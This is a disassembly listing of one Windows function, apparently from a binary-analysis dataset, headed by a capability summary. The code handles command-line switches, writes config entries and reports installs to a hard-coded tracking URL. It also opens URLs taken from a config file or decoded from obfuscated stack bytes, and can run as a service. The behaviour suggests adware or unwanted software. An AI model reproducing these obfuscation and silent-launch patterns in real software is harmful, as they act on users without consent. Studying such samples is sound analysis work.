Function at 0x41cc00
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Create process on windows
Query environment variable
Read .ini file

Disassembly:
push ebp
lea ebp, [esp - 0x1234]
mov eax, 0x12b4
call fcn.0043fb90
mov eax, dword [0x45636c]
xor eax, ebp
mov dword [ebp + 0x1230], eax
push ebx
push esi
mov esi, dword [ebp + 0x1244]
push edi
push 0x410
lea eax, [ebp + 0x99c]
push 0
push eax
call fcn.0042f230
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
push 0x208
lea ecx, [ebp + 0x99c]
push ecx
push 0
call ebx
lea edx, [ebp + 0x99c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.zlib1.dll
lea eax, [ebp + 0x99c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea ecx, [ebp + 0x99c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test esi, esi
jne 0x41cc8c
or eax, 0xffffffff
jmp 0x41d8ef
lea edx, [ebp - 0x74]
push edx
mov dword [ebp - 0x74], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
mov dword [ebp - 0x80], edi
call fcn.004039a0
push 0x41c700
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
test edi, edi
je 0x41cd31
cmp dword [ebp - 0x74], 4
jl 0x41cd31
mov eax, dword [edi + 4]
push eax
push 0x44de74
call fcn.0042ad09
add esp, 8
test eax, eax
jne 0x41cd31
cmp dword [ebp - 0x74], 5
jl 0x41cce3
mov eax, dword [edi + 0x10]
jmp 0x41cce5
xor eax, eax
mov ecx, dword [edi + 0xc]
mov edx, dword [edi + 8]
push eax
push ecx
push edx
push 0x45a5b4
call fcn.0040afc0
mov eax, dword [edi + 8]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esp, 0x10
push 0x45a1ac
push eax
push str.name
push 0x44c52c
call esi
push 0x45a1ac
push 0x44c534
push 0x44c53c
push 0x44c52c
call esi
jmp 0x41d8e6
push esi
push 0x44ca14
call fcn.0042ad09
add esp, 8
test eax, eax
jne 0x41cd64
push str.dk_rg
push 0x44ded0
push 0x45a3b4
push 0x45a5b4
call fcn.0040afc0
add esp, 0x10
jmp 0x41d8e6
push esi
push 0x44ca54
call fcn.0042ad09
add esp, 8
test eax, eax
jne 0x41cd88
push 0x45a3b4
call fcn.0040b050
add esp, 4
jmp 0x41d8e6
push 7
push esi
push str.http:__
call fcn.00441911
add esp, 0xc
test eax, eax
jne 0x41cdaa
push esi
call fcn.0040b140
add esp, 4
jmp 0x41d8e6
push 2
push esi
push 0x44def8
call fcn.00441911
add esp, 0xc
test eax, eax
jne 0x41cdfa
test edi, edi
je 0x41d8e6
cmp dword [ebp - 0x74], 3
jne 0x41d8e6
mov ecx, dword [edi + 4]
push 0x44def8
push ecx
call fcn.0042ad09
add esp, 8
test eax, eax
jne 0x41d8e6
mov edx, dword [edi + 8]
push edx
call fcn.0040c300
add esp, 4
jmp 0x41d8e6
push 2
push esi
push 0x44df00
call fcn.00441911
add esp, 0xc
test eax, eax
jne 0x41d5af
test edi, edi
je 0x41d8e6
cmp dword [ebp - 0x74], 3
jl 0x41d8e6
mov eax, dword [edi + 4]
push 0x44df00
push eax
call fcn.0042ad09
add esp, 8
test eax, eax
jne 0x41d8e6
mov edx, dword [edi + 8]
mov esi, 0x80
mov eax, 0x45a7bc
lea ebx, [ebx]
lea ecx, [esi + 0x7fffff7e]
test ecx, ecx
je 0x41ce72
movzx ecx, word [edx]
test cx, cx
je 0x41ce72
mov word [eax], cx
add eax, 2
add edx, 2
sub esi, 1
jne 0x41ce50
jmp 0x41ce76
test esi, esi
jne 0x41ce79
sub eax, 2
xor edx, edx
mov word [eax], dx
call fcn.004018d0
xor eax, eax
push 0x1fe
push eax
lea ecx, [ebp + 0xbae]
push ecx
mov word [ebp + 0xbac], ax
call fcn.0042f230
mov eax, dword [0x45a1a0]
add esp, 0xc
test eax, eax
je 0x41d3c4
mov esi, dword [eax]
mov dword [ebp - 0x78], esi
test esi, esi
je 0x41d3c4
cmp dword [esi], 0
je 0x41d3c4
push 0x103
lea edx, [ebp + 0xf0d]
push 0
push edx
mov byte [ebp + 0xf0c], 0
call fcn.0042f230
push 0x103
lea eax, [ebp + 0x1011]
push 0
push eax
mov byte [ebp + 0x1010], 0
call fcn.0042f230
push 0x103
lea ecx, [ebp + 0x899]
push 0
push ecx
mov byte [ebp + 0x898], 0
call fcn.0042f230
push 0x103
lea edx, [ebp + 0x1115]
push 0
push edx
mov byte [ebp + 0x1114], 0
call fcn.0042f230
add esp, 0x30
push 0x104
lea eax, [ebp + 0x1010]
push eax
add esi, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp + 0x898]
lea edx, [ebp + 0x1010]
mov ecx, eax
mov esi, 0x104
sub edx, ecx
lea ebx, [ebx]
lea ecx, [esi + 0x7ffffefa]
test ecx, ecx
je 0x41cf7b
mov cl, byte [edx + eax]
test cl, cl
je 0x41cf7b
mov byte [eax], cl
inc eax
sub esi, 1
jne 0x41cf60
jmp 0x41cf7f
test esi, esi
jne 0x41cf80
dec eax
lea edx, [ebp + 0x898]
push edx
mov byte [eax], 0
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0
lea eax, [ebp + 0x898]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
push 0x104
lea ecx, [ebp + 0xf0c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x1114]
lea edx, [ebp + 0x1010]
mov ecx, eax
mov esi, 0x104
sub edx, ecx
lea ebx, [ebx]
lea ecx, [esi + 0x7ffffefa]
test ecx, ecx
je 0x41cfeb
mov cl, byte [edx + eax]
test cl, cl
je 0x41cfeb
mov byte [eax], cl
inc eax
sub esi, 1
jne 0x41cfd0
jmp 0x41cfef
test esi, esi
jne 0x41cff0
dec eax
lea edx, [ebp + 0x1114]
push edx
mov byte [eax], 0
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
push str..cfg
lea eax, [ebp + 0x1114]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
lea eax, [ebp + 0x1010]
lea edx, [eax + 1]
jmp 0x41d020
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d020
sub eax, edx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
je 0x41d068
lea ecx, [ebp + 0x1010]
push ecx
call ebx
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d049
xor edi, edi
jmp 0x41d06d
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
lea eax, [ebp + 0x1010]
mov esi, ecx
call fcn.00401030
mov edi, eax
jmp 0x41d06d
mov edi, 0x44bf28
lea eax, [ebp + 0xf0c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d076
sub eax, edx
je 0x41d0b6
lea edx, [ebp + 0xf0c]
push edx
call ebx
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d099
xor eax, eax
jmp 0x41d0bb
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
lea eax, [ebp + 0xf0c]
mov esi, ecx
call fcn.00401030
jmp 0x41d0bb
mov eax, 0x44bf28
push edi
push eax
call fcn.0040bf20
mov edi, dword [ebp - 0x78]
add esp, 8
add edi, 0x108
mov dword [ebp - 0x70], edi
je 0x41d10e
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d0d8
sub eax, edx
je 0x41d10e
push edi
call ebx
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d0f5
xor eax, eax
jmp 0x41d113
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
mov eax, edi
mov esi, ecx
call fcn.00401030
jmp 0x41d113
mov eax, 0x44bf28
lea ecx, [ebp + 0xbac]
mov esi, eax
mov eax, ecx
mov edx, 0x100
sub esi, eax
lea eax, [edx + 0x7ffffefe]
test eax, eax
je 0x41d144
movzx eax, word [esi + ecx]
test ax, ax
je 0x41d144
mov word [ecx], ax
add ecx, 2
sub edx, 1
jne 0x41d124
jmp 0x41d148
test edx, edx
jne 0x41d14b
sub ecx, 2
mov edi, dword [ebp - 0x78]
xor edx, edx
add edi, 0x310
mov word [ecx], dx
je 0x41d19e
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d160
sub eax, edx
je 0x41d19e
push edi
call ebx
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d182
mov dword [ebp - 0x7c], 0
jmp 0x41d1a5
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
mov eax, edi
mov esi, ecx
call fcn.00401030
mov dword [ebp - 0x7c], eax
jmp 0x41d1a5
mov dword [ebp - 0x7c], 0x44bf28
mov edi, dword [ebp - 0x78]
add edi, 0x20c
je 0x41d1ed
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d1b5
sub eax, edx
je 0x41d1ed
push edi
call ebx
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d1d2
xor ebx, ebx
jmp 0x41d1f2
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
mov eax, edi
mov esi, ecx
call fcn.00401030
mov ebx, eax
jmp 0x41d1f2
mov ebx, 0x44bf28
mov esi, dword [ebp - 0x70]
test esi, esi
je 0x41d23d
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d200
sub eax, edx
je 0x41d23d
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d221
xor edi, edi
jmp 0x41d242
lea eax, [esi + esi]
call fcn.00437d80
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov edx, esi
push 3
mov esi, ecx
call fcn.00401030
mov edi, eax
jmp 0x41d242
mov edi, 0x44bf28
lea eax, [ebp + 0x1010]
lea edx, [eax + 1]
jmp 0x41d250
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d250
sub eax, edx
je 0x41d294
lea eax, [ebp + 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d277
xor eax, eax
jmp 0x41d299
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
lea eax, [ebp + 0x1010]
mov esi, ecx
call fcn.00401030
jmp 0x41d299
mov eax, 0x44bf28
mov ecx, dword [ebp - 0x7c]
push ecx
push ebx
push edi
push eax
call fcn.0040afc0
lea eax, [ebp + 0x1114]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d2b1
sub eax, edx
je 0x41d2f7
lea edx, [ebp + 0x1114]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d2d8
xor edi, edi
jmp 0x41d2fc
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
lea eax, [ebp + 0x1114]
mov esi, ecx
call fcn.00401030
mov edi, eax
jmp 0x41d2fc
mov edi, 0x44bf28
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x41d342
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d308
sub eax, edx
je 0x41d342
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d329
xor eax, eax
jmp 0x41d347
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
mov eax, ebx
mov esi, ecx
call fcn.00401030
jmp 0x41d347
mov eax, 0x44bf28
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
push str.name
push 0x44c52c
call edi
lea eax, [ebp + 0x1114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41d364
sub eax, edx
je 0x41d3a8
lea eax, [ebp + 0x1114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
cmp esi, 0x3fffffff
jle 0x41d38b
xor eax, eax
jmp 0x41d3ad
lea eax, [esi + esi]
call fcn.00437d80
mov ecx, esp
mov edx, esi
push 3
lea eax, [ebp + 0x1114]
mov esi, ecx
call fcn.00401030
jmp 0x41d3ad
mov eax, 0x44bf28
push eax
push 0x45a7bc
push 0x44c53c
push 0x44c52c
call edi
jmp 0x41d4be
xor ecx, ecx
push 0x1fe
push ecx
lea edx, [ebp + 0xe12]
push edx
mov word [ebp + 0xe10], cx
call fcn.0042f230
push 0x45a7bc
push str._sUpService
mov ecx, 0x100
lea ebx, [ebp + 0xbac]
call fcn.00401590
add esp, 0x14
cmp dword [ebp - 0x74], 3
lea eax, [ebp + 0xe10]
mov edx, 0x100
mov ecx, eax
jne 0x41d433
mov esi, ebx
sub esi, ecx
lea ecx, [edx + 0x7ffffefe]
test ecx, ecx
je 0x41d460
movzx ecx, word [esi + eax]
test cx, cx
je 0x41d460
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x41d413
jmp 0x41d464
mov esi, dword [edi + 0xc]
sub esi, ecx
jmp 0x41d440
lea ecx, [edx + 0x7ffffefe]
test ecx, ecx
je 0x41d460
movzx ecx, word [esi + eax]
test cx, cx
je 0x41d460
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x41d440
jmp 0x41d464
test edx, edx
jne 0x41d467
sub eax, 2
xor edx, edx
mov word [eax], dx
lea eax, [ebp + 0xe10]
push eax
mov ecx, eax
push ecx
lea edx, [ebp + 0xbac]
push edx
push 0x45a5b4
call fcn.0040afc0
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esp, 0x10
push 0x45a1ac
lea eax, [ebp + 0xbac]
push eax
push str.name
push 0x44c52c
call esi
push 0x45a1ac
push 0x45a7bc
push 0x44c53c
push 0x44c52c
call esi
push 0x7ff
lea ecx, [ebp - 0x6b]
push 0
push ecx
mov byte [ebp - 0x6c], 0
call fcn.0042f230
lea eax, [ebp + 0xbac]
add esp, 0xc
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x41d4e0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, edx
sar eax, 1
je 0x41d52e
lea edx, [ebp + 0xbac]
push edx
call ebx
inc eax
cmp eax, 0x3fffffff
jle 0x41d50c
xor edi, edi
jmp 0x41d533
lea edi, [eax + eax]
mov eax, edi
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, edi
lea eax, [ebp + 0xbac]
call fcn.00401060
mov edi, eax
jmp 0x41d533
mov edi, 0x44bf2a
mov eax, 0x45a7bc
lea edx, [eax + 2]
jmp 0x41d540
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x41d540
sub eax, edx
sar eax, 1
je 0x41d583
push 0x45a7bc
call ebx
inc eax
cmp eax, 0x3fffffff
jle 0x41d564
xor eax, eax
jmp 0x41d588
lea ebx, [eax + eax]
mov eax, ebx
call fcn.00437d80
mov esi, esp
mov edx, 3
mov ecx, ebx
mov eax, 0x45a7bc
call fcn.00401060
jmp 0x41d588
mov eax, 0x44bf2a
push edi
push eax
push str.http:__bd.miqidu.com_nmsrf_html_install.html_pid_sname_s
mov ecx, 0x800
lea edi, [ebp - 0x6c]
call fcn.0041c550
mov eax, edi
push eax
call fcn.0040a980
mov edi, dword [ebp - 0x80]
add esp, 0x10
jmp 0x41d8e6
push 6
push esi
push 0x44c7bc
call fcn.00441911
add esp, 0xc
test eax, eax
je 0x41d8df
push 6
push esi
push str._start
call fcn.00441911
add esp, 0xc
test eax, eax
je 0x41d8df
push 0x44c6d8
push esi
call fcn.0042b7f7
add esp, 8
cmp eax, esi
jne 0x41d7bd
push 0x104
lea ecx, [ebp + 0xba4]
push ecx
push 0
call ebx
push str...conf_setting.cfg
lea edx, [ebp + 0xba4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0
push 0
push 1
push 0
push 1
push 0xc0000000
lea eax, [ebp + 0xba4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0xba4]
push ecx
push 0x104
lea edx, [ebp + 0x794]
push edx
push 0x44bf28
push str.linkurl
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 7
lea eax, [ebp + 0x794]
push str.http:__
push eax
call fcn.00441911
add esp, 0xc
test eax, eax
jne 0x41d698
push 5
push eax
push eax
lea ecx, [ebp + 0x794]
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x41d7a6
push 0x64
mov al, 0x41
lea edx, [ebp + 0xdac]
push 0
push edx
mov byte [ebp + 0x1218], 0xa6
mov byte [ebp + 0x1219], 6
mov byte [ebp + 0x121a], 4
mov byte [ebp + 0x121b], al
mov byte [ebp + 0x121c], 0x28
mov byte [ebp + 0x121d], 0x59
mov byte [ebp + 0x121e], 0xf9
mov byte [ebp + 0x121f], 6
mov byte [ebp + 0x1220], 0xa
mov byte [ebp + 0x1221], 0x6c
mov byte [ebp + 0x1222], 0x86
mov byte [ebp + 0x1223], 0xee
mov byte [ebp + 0x1224], 0x39
mov byte [ebp + 0x1225], 0x65
mov byte [ebp + 0x1226], al
mov byte [ebp + 0x1227], 0x66
mov byte [ebp + 0x1228], 0xd9
mov byte [ebp + 0x1229], 0x17
mov byte [ebp + 0x122a], 0xe4
mov byte [ebp + 0x122b], 0x60
mov byte [ebp + 0x122c], 0x45
call fcn.0042f230
push 0x15
lea eax, [ebp + 0xdac]
push eax
lea ecx, [ebp + 0x1218]
push ecx
call fcn.0041f570
add esp, 0x18
push 3
lea eax, [ebp + 0xdac]
lea edx, [ebp + 0xf10]
push eax
lea eax, [ebp + 0xf0c]
mov dword [ebp + 0xf0c], edx
call fcn.00405e20
mov ecx, dword [ebp + 0xf0c]
push 5
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp + 0xf0c]
lea edx, [ebp + 0xf10]
cmp eax, edx
je 0x41d7a6
push eax
call fcn.0042b160
add esp, 4
push 0
call fcn.0041d920
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41d8ed
push 0x44df70
push esi
call fcn.0042b7f7
add esp, 8
cmp eax, esi
jne 0x41d849
push 0x410
lea eax, [ebp + 0x99c]
push 0
push eax
call fcn.0042f230
add esp, 0xc
push 0x208
lea ecx, [ebp + 0x99c]
push ecx
push 0
call ebx
lea edx, [ebp + 0x99c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
lea ecx, [ebp - 0x70]
push ecx
mov ecx, eax
call fcn.004058d0
lea edx, [ebp - 0x70]
push edx
call fcn.0041ebc0
mov ecx, dword [ebp - 0x70]
lea eax, [ebp + 0x99c]
push eax
push ecx
call fcn.0041db30
add esp, 8
test eax, eax
jne 0x41d83c
lea edx, [ebp + 0x99c]
push edx
call fcn.0041ea10
add esp, 4
lea eax, [ebp - 0x70]
call fcn.00405a10
jmp 0x41d8e6
push 7
push esi
push 0x44df78
call fcn.00441911
add esp, 0xc
test eax, eax
je 0x41d87e
push 7
push esi
push str._update
call fcn.00441911
add esp, 0xc
test eax, eax
je 0x41d87e
push 0x4574b4
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
jmp 0x41d8e6
call fcn.004018d0
test eax, eax
je 0x41d8e6
call fcn.00403ba0
call fcn.004029f0
call fcn.00402d20
call fcn.00405810
lea eax, [ebp - 0x70]
push eax
call fcn.0041eb20
lea ecx, [ebp - 0x70]
push ecx
mov ecx, 0x21
call fcn.0041edd0
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040a980
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41d8e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x41d8e6
push 0
call fcn.0041d920
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x1230]
xor ecx, ebp
call fcn.0042a9a5
add ebp, 0x1234
mov esp, ebp
pop ebp
ret 0x10